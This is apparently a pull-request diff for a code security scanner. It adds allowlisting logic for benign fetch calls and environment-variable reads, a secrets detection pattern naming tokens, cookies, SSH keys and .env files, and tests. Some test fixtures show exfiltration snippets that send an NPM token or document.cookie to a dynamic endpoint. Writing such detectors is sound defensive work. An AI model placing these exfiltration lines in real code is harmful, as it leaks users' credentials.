Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
"type": "module",
"scripts": {
"build": "tsc",
"test": "npm run build && node --test dist/http-client-allowlist.test.js",
"start": "node dist/index.js",
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
Expand Down
43 changes: 40 additions & 3 deletions scanner/src/analyzer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,45 @@ const RISK_THRESHOLDS = {
low: 10
};

const SENSITIVE_CONTEXT_PATTERN =
/process\.env(?:\[[^\]]*(?:TOKEN|SECRET|KEY|PASSWORD|PWD|CREDENTIAL|PRIVATE)[^\]]*\]|\.(?:[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|PWD|CREDENTIAL|PRIVATE)[A-Z0-9_]*))|document\.cookie|localStorage|sessionStorage|\.env|id_rsa|id_ed25519|credentials|privateKey|api[_-]?key|password/i;

const BENIGN_ENV_NAME_PATTERN =
/^(?:NODE_ENV|PORT|HOST|HOSTNAME|CI|DEBUG|LOG_LEVEL|TZ|LANG|PATH|HOME|PWD|TMPDIR|TEMP|PUBLIC_[A-Z0-9_]+|NEXT_PUBLIC_[A-Z0-9_]+|VITE_[A-Z0-9_]+|[A-Z0-9_]+_(?:URL|URI|HOST|PORT|ORIGIN|BASE_URL|ENDPOINT)|(?:API|APP|SITE|BASE)_(?:URL|URI|HOST|PORT|ORIGIN|ENDPOINT))$/;

function isBenignDynamicFetch(contextLine: string): boolean {
if (SENSITIVE_CONTEXT_PATTERN.test(contextLine)) {
return false;
}
return /fetch\s*\(\s*(?:url|uri|endpoint|apiUrl|apiEndpoint|requestUrl|resource|input)\b/i.test(contextLine);
}

function getEnvNames(contextLine: string): string[] {
const names: string[] = [];
for (const match of contextLine.matchAll(/process\.env(?:\.([A-Z0-9_]+)|\[\s*['"`]([^'"`]+)['"`]\s*\])/gi)) {
const envName = match[1] ?? match[2];
if (envName) {
names.push(envName.toUpperCase());
}
}
return names;
}

function isBenignEnvConfigAccess(contextLine: string): boolean {
const envNames = getEnvNames(contextLine);
return envNames.length > 0 && envNames.every((envName) => BENIGN_ENV_NAME_PATTERN.test(envName));
}

function isContextAllowlisted(pattern: Pattern, contextLine: string): boolean {
if (pattern.id === 'EXFIL_FETCH_DYNAMIC' && isBenignDynamicFetch(contextLine)) {
return true;
}
if (pattern.id === 'CRED_ENV_ACCESS' && isBenignEnvConfigAccess(contextLine)) {
return true;
}
return ALLOWLIST_PATTERNS.some(allowPattern => allowPattern.test(contextLine));
}

/**
* Analyze content for security issues
*/
Expand All @@ -72,9 +111,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
const contextLine = lines[lineNumber - 1] || '';

// Check if this is in an allowlisted context
const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern =>
allowPattern.test(contextLine)
);
const isAllowlisted = isContextAllowlisted(pattern, contextLine);

if (!isAllowlisted) {
findings.push({
Expand Down
63 changes: 63 additions & 0 deletions scanner/src/http-client-allowlist.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
import test from 'node:test';
import assert from 'node:assert/strict';
import { analyzeContent } from './analyzer.js';

function patternIdsFor(source: string): string[] {
return analyzeContent(source).findings.map((finding) => finding.patternId);
}

test('does not flag benign dynamic fetch wrapper parameters', () => {
const ids = patternIdsFor(`
export async function getJson(url: string) {
const response = await fetch(url, { method: "GET" });
return response.json();
}
`);

assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
});

test('does not flag benign API URL configuration from environment', () => {
const ids = patternIdsFor(`
const baseUrl = process.env.API_URL;
export const client = { baseUrl };
`);

assert.equal(ids.includes('CRED_ENV_ACCESS'), false);
});

test('does not flag common public frontend environment configuration', () => {
const ids = patternIdsFor(`
const endpoint = process.env.NEXT_PUBLIC_API_URL || process.env.VITE_API_ENDPOINT;
fetch(endpoint);
`);

assert.equal(ids.includes('CRED_ENV_ACCESS'), false);
assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
});

test('still flags dynamic fetches that include environment secrets', () => {
const ids = patternIdsFor(`
const target = getCollectorUrl();
fetch(target + "?token=" + process.env.NPM_TOKEN);
`);

assert.ok(ids.includes('EXFIL_FETCH_DYNAMIC'));
assert.ok(ids.includes('CRED_ENV_ACCESS'));
});

test('still flags dynamic fetches that send browser credentials', () => {
const ids = patternIdsFor(`
fetch(endpoint, { method: "POST", body: document.cookie });
`);

assert.ok(ids.includes('EXFIL_FETCH_DYNAMIC'));
});

test('still flags token-like environment variable access', () => {
const ids = patternIdsFor(`
const token = process.env.GITHUB_TOKEN;
`);

assert.ok(ids.includes('CRED_ENV_ACCESS'));
});